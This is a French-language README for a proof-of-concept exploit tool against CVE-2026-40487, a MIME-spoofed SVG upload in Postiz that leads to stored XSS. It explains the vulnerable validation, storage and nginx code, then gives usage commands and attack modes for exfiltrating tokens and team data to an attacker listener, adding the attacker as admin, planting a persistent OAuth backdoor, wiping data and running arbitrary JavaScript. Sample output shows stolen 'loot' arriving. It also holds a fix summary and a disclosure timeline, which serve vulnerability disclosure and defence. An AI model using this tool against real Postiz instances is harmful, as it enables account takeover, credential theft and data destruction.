
Preuve de concept pour CVE-2026-40487, démontrant un téléversement arbitraire de fichiers via une usurpation MIME menant à un XSS stocké et à une prise de contrôle de compte dans Postiz. Inclut plusieurs modes d'attaque pour l'exfiltration de données, l'élévation de privilèges et la persistance.
Découvert et signalé par : Astaruf
Analyse complète : https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Entrée GHSA : https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz est un outil open-source de gestion des réseaux sociaux avec plus de 28 intégrations de plateformes (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilisé par plus de 600 instances exposées sur Internet.
Un attaquant disposant de faibles privilèges peut télécharger un fichier SVG (ou HTML) malveillant avec un en-tête Content-Type: image/png usurpé. Le serveur accepte le fichier sans inspecter son contenu réel, conserve l'extension d'origine, et nginx le sert avec le Content-Type dérivé de cette extension (image/svg+xml). Lorsqu'une victime ouvre l'URL, le JavaScript intégré s'exécute dans l'origine de l'application, donnant à l'attaquant des capacités complètes de détournement de session équivalentes à une prise de contrôle de compte.
La chaîne d'attaque :
L'attaquant télécharge un .svg avec Content-Type: image/png
-> Le serveur valide uniquement l'en-tête Content-Type (CWE-345)
-> Le fichier est enregistré sur le disque avec l'extension .svg d'origine (CWE-434)
-> nginx le sert comme image/svg+xml
-> Le navigateur exécute le JavaScript intégré (CWE-79)
-> Même origine : accès complet à la session de la victime
La charge utile XSS s'exécute dans la même origine que l'application. Même si le cookie d'authentification est HttpOnly, fetch() avec credentials: "include" l'attache automatiquement. L'attaquant peut :
pos_* qui n'expire jamais et survit aux changements de mot de passe)Trois composants échouent indépendamment, créant la chaîne d'exploitation :
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts :
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype provient de l'en-tête Content-Type de la requête multipart, que l'attaquant contrôle. Aucune inspection des octets magiques, aucune utilisation de bibliothèques comme file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts :
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrait l'extension du nom de fichier fourni par le client. Aucune vérification de cohérence entre le type MIME déclaré et l'extension. Le serveur renvoie également l'URL publique complète dans la réponse, ce qui permet à l'attaquant d'obtenir le lien à envoyer à la victime.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx associe .svg à image/svg+xml, .html à text/html. Pas de Content-Security-Policy, pas de X-Content-Type-Options: nosniff, pas de Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Vérifier si la cible est vulnérable
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltrer tout depuis la victime
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Créer une porte dérobée persistante
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Réutiliser le jeton sans identifiants
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Attaquant Serveur Postiz Victime
| | |
|-- 1. Connexion/Inscription ->| |
|-- 2. Téléchargement SVG malveillant ->| |
|<---- URL du fichier ---------| |
|-- 3. Envoi de l'URL à la victime -------------------> |
| |<--- 4. Ouvre l'URL --- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS s'exécute, exfiltre les données -|
| Mode | Description |
|---|---|
dump-self | Profil de la victime, infos d'organisation, niveau, clé API |
dump-personal | Nom d'affichage, bio, photo de profil |
dump-integrations | Intégrations de réseaux sociaux connectées et jetons |
dump-posts | Publications planifiées et brouillons (365 derniers jours) |
dump-team | Membres de l'équipe, rôles et adresses e-mail |
dump-media | Liste de la bibliothèque multimédia |
dump-notifications | Historique des notifications |
dump-signatures | Signatures de publications |
dump-webhooks | Webhooks configurés et leurs URL |
dump-oauth-app | Identifiants de l'application OAuth (clientId, secret) |
dump-copilot | Fils de conversation du copilote IA |
dump-billing | Informations de facturation et d'abonnement |
dump-settings | Paramètres de liens courts et de notifications |
dump-third-party | Configurations des intégrations tierces |
dump-autopost | Règles de publication automatique |
dump-sets | Ensembles de contenu |
dump-tags | Tags de publications |
dump-customers | Liste des clients |
full-dump | Tout ce qui précède dans une seule charge utile |
| Mode | Description |
|---|---|
add-admin | Inviter l'attaquant comme ADMIN dans l'org de la victime (--attacker-email) |
rotate-key | Pivoter la clé API de l'org et l'exfiltrer |
rotate-oauth | Pivoter le secret de l'application OAuth et l'exfiltrer |
| Mode | Description |
|---|---|
kill-notifications | Désactiver toutes les notifications par e-mail |
edit-profile | Modifier le nom et la bio de la victime (--edit-name, --edit-bio) |
wipe-signatures | Supprimer toutes les signatures de publications |
wipe-webhooks | Supprimer tous les webhooks |
wipe-tags | Supprimer tous les tags |
wipe-sets | Supprimer tous les ensembles de contenu |
wipe-autopost | Supprimer toutes les règles de publication automatique |
logout-victim | Forcer la déconnexion de la victime |
delete-oauth-app | Supprimer l'application OAuth de la victime |
| Mode | Description |
|---|---|
create-oauth-app | Créer une application OAuth, approbation automatique, exfiltrer le jeton pos_* persistant (--oauth-redirect) |
steal-cookie | Voler le JWT d'authentification via document.cookie (quand NOT_SECURED=true) |
| Mode | Description |
|---|---|
api-call | Appel API authentifié arbitraire (--api-method, --api-path, --api-body) |
custom | Exécuter du JavaScript arbitraire (--custom-js) |
| Option | Description |
|---|---|
--check | Sonder si la cible est vulnérable (aucune attaque exécutée) |
--register | Enregistrer un nouveau compte avant la connexion |
-t / --token | Utiliser une clé API ou un jeton pos_* au lieu d'identifiants |
--format html | Utiliser une charge utile HTML au lieu de SVG |
--proxy | Router le trafic via un proxy HTTP/SOCKS (ex. Burp Suite) |
-o / --output | Enregistrer le butin dans un fichier JSON |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — XSS stockée via téléchargement de fichier à type MIME usurpé
[*] Connexion en tant que [email protected] ...
[+] Authentifié.
[*] Génération de la charge utile : Exfiltrer tout en une seule charge utile
[*] Téléchargement du .svg malveillant avec Content-Type: image/png ...
[+] Téléchargement réussi.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Chemin : http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Démarrage de l'écouteur d'exfiltration sur 0.0.0.0:8888 ...
=================================================================
Envoyez cette URL à la victime :
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] En attente que la victime ouvre le lien ...
[+] Butin reçu @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] Butin reçu @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Butin reçu @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
La version 2.21.6 a introduit trois changements :
file-type pour inspecter le contenu réel du fichierimage/*)| Date | Événement |
|---|---|
| 2026-04-10 | Vulnérabilité découverte lors d'une revue de code source |
| 2026-04-10 | Signalée via GitHub Security Advisory (GHSA) |
| 2026-04-10 | Les développeurs ont reconnu et demandé des clarifications |
| 2026-04-10 | Scénarios d'attaque détaillés et données Shodan fournis |
| 2026-04-11 | Contestation du CVSS soumise avec preuves |
| 2026-04-13 | Correctif publié dans la v2.21.6 |
| 2026-04-14 | CVE-2026-40487 attribué |
| 2026-04-15 | Divulgation publique |
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.